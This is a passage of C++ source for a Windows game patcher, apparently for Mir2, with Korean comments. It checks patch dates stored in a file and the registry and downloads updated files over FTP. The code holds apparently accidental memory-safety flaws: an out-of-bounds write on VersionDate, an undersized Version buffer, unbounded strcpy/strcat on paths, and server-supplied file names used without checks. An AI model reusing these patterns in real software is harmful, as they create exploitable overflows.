Patch Date } if((HFile = fopen(PATCHED_LIST_FILE,"r")) == NULL) return FALSE; fseek(HFile, 0L, SEEK_SET ); while(!feof( HFile )) { ZeroMemory(ReadDate, 9); fread( ReadDate, sizeof( char ) * 9, 1, HFile ); // fscanf(HFile,"%8s",ReadDate); // 읽었으니까 비교헤서 처리하자 ^^ ReadDate[8]=NULL; CmpResult=strncmp(ReadDate, LastUpdateDate, 8); if(CmpResult > 0) { // m_szPatchDate에 해당 날짜가 있음. fclose(HFile); strcpy(m_szPatchDate, ReadDate); return TRUE; // Patch 받아야 함 } else { if(CmpResult == 0) { // Patch 받을 필요 없음 다음 날짜 확인 continue; } else { // 현제 가지고 있는것이 서버에서 지원하는거 보다 최근 버전이다 ㅡ.ㅡ? // 다음 날짜 확인 ㅡㅡ; continue; } } } return FALSE; }
HRESULT CPatch::GetFtpFiles(VOID) // 여기에서 File List를 분석해서 GetFile을 계속 돌려줄것 return -1l : Error 0: End 1: Continue { static int Pos=0; char szTemp[MAX_PATH]; char szDirStr[MAX_PATH]; char szFileName[MAX_PATH]; UnCompressedFileNode* FileNode; // 여기에서 Last Patch Date를 얻어야 한다. if(m_bEndPatch != TRUE) { if(m_PatchState == 3) { m_bEndPatch = TRUE; return 0l; } else { if((m_PatchState == 2) || (m_PatchState == 0)) { Pos ++; if(m_PatchState == 2) { if(m_hFile != NULL) { CloseHandle(m_hFile); m_hFile = NULL; } if(m_HFileFtp != NULL) { InternetCloseHandle(m_HFileFtp); m_HFileFtp=NULL; } if(Pos > m_FACount) { m_PatchState = 0; m_bPatched = TRUE; m_bEndPatch = TRUE; return 0l; } } FileNode = GetFileNode(Pos - 1); ZeroMemory(szFileName, MAX_PATH); ZeroMemory(szTemp, MAX_PATH); DWORD dwErrNum; ZeroMemory(szDirStr, MAX_PATH); if(strcmp(FileNode->szFileName, "Mir2Patch.exe") == 0) // Patch 화일 일 경우 { DeleteFile(FileNode->szFileName); if(!jRegGetKey(_T(DEFAULT_REG_PATH), _T("setup path"), (LPBYTE)szDirStr)) { ZeroMemory(szDirStr, MAX_PATH); GetCurrentDirectory(MAX_PATH, szDirStr); szDirStr[strlen(szDirStr)] ='\\'; szDirStr[strlen(szDirStr)] = NULL; } for ( INT nCnt = strlen(szDirStr); nCnt >= 0; nCnt--) { if ( szDirStr[nCnt] == '\\' ) { szDirStr[nCnt+1] = NULL; break; } } } else { strcpy(szDirStr, m_UpdatePath); } strcpy(szFileName, FileNode->szFileName); strcpy(szTemp, szDirStr); strcat(szTemp, szFileName); m_hFile = CreateFile (szTemp, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if((dwErrNum=GetLastError()) == ERROR_FILE_EXISTS) { // 화일이 이미 존재 할 경우 그 화일의 크기를 확인 // 업데이트 하려는 화일보다 작은 화일의 경우 // 재대로 업데이트 되지 않은 화일 이므로 다시 업데이트를 받는다. m_hFile = CreateFile (szTemp, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DWORD High_FileSize; DWORD Low_FileSize; High_FileSize = 0; Low_FileSize = 0; Low_FileSize = GetFileSize(m_hFile, &High_FileSize); CloseHandle(m_hFile); m_hFile = NULL; if(Low_FileSize <= (DWORD)FileNode->lFileSize) { BOOL bResult = DeleteFile(szTemp); if (bResult) { // Success // MessageBox(NULL,"File Delete & ReCreate","Message",MB_OK); m_hFile = CreateFile (szTemp, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); } else { // MessageBox(NULL,"File Delete Fail","Message",MB_OK); // Fail return -1l; } } } strcpy(szTemp, m_szPatchDate); strcat(szTemp, "\\"); strcat(szTemp, szFileName); m_HFileFtp = FtpOpenFile(m_HFtp, szTemp, GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, 0); } else { FileNode = GetFileNode(Pos - 1); } strcpy(szTemp, m_szPatchDate); strcat(szTemp, "\\"); strcat(szTemp, szFileName); GetFile(szTemp); // 화일 계속 받기 ^^; } } else { // End Patch if(m_HFileFtp != NULL) { InternetCloseHandle(m_HFileFtp); m_HFileFtp = NULL; } m_bPatched = TRUE; return 0l; } return 1l; }
BOOL CPatch::WillBePatch(VOID) { int CmpResult; int BufferSize; char Version[8]; char szTemp[MAX_PATH]; char FileBuffer[4100]; DWORD dwReadLen; DWORD dwErrNum; FILE* HFile; FileListHeader FLHeader; BufferSize=0; dwReadLen = 0; BufferSize = 4100; ZeroMemory(FileBuffer,4100); m_hFile = NULL; m_hFile = CreateFile (PATCH_LIST_FILE_LIST, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if((dwErrNum=GetLastError())==ERROR_FILE_EXISTS) { // 화일이 존재하면 다시 받아라 DeleteFile(PATCH_LIST_FILE_LIST); m_hFile = CreateFile (PATCH_LIST_FILE_LIST, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); } // Make Update Directory from FTP m_szPatchDate[8] = '\0'; strcpy(szTemp,m_szPatchDate); strcat(szTemp,"\\"); strcat(szTemp,PATCH_LIST_FILE_LIST); m_HFileFtp = FtpOpenFile( m_HFtp,szTemp, GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, 0); while(1) // 화일 받는 부분. { if (InternetReadFile( m_HFileFtp, FileBuffer, (DWORD)BufferSize, &dwReadLen) != FALSE) { if ( (int)dwReadLen != BufferSize ) { BufferSize = (int)dwReadLen; WriteFile( m_hFile, FileBuffer, (DWORD)BufferSize, &dwReadLen, NULL); break; } else { WriteFile( m_hFile, FileBuffer, (DWORD)BufferSize, &dwReadLen, NULL); } } else { break; } } CloseHandle(m_hFile); InternetCloseHandle(m_HFileFtp); m_PatchState = 0; m_hFile = NULL; m_HFileFtp = NULL; if(!jRegGetKey(_T(DEFAULT_REG_PATH), _T(PATCH_LAST_DATE), (LPBYTE)Version)) { strcpy(Version,DEFAULT_LAST_PATCH_DATE); // Default Last Patch Date } ZeroMemory(FLHeader.VersionDate,sizeof(FLHeader.VersionDate)); if((HFile = fopen(PATCH_LIST_FILE_LIST,"r")) == NULL) return FALSE; fread(FLHeader.VersionDate,sizeof(char),sizeof(FLHeader.VersionDate),HFile); fclose(HFile); FLHeader.VersionDate[sizeof(FLHeader.VersionDate)] = NULL; CmpResult=strncmp(FLHeader.VersionDate, Version,8); if(CmpResult>0) { return TRUE; // Patch 받아야 함 } else { if(CmpResult==0) { // Patch 받을 필요 없음 return FALSE; } else { // 현제 가지고 있는것이 서버에서 지원하는거 보다 최근 버전이다 ㅡ.ㅡ? return FALSE; } } }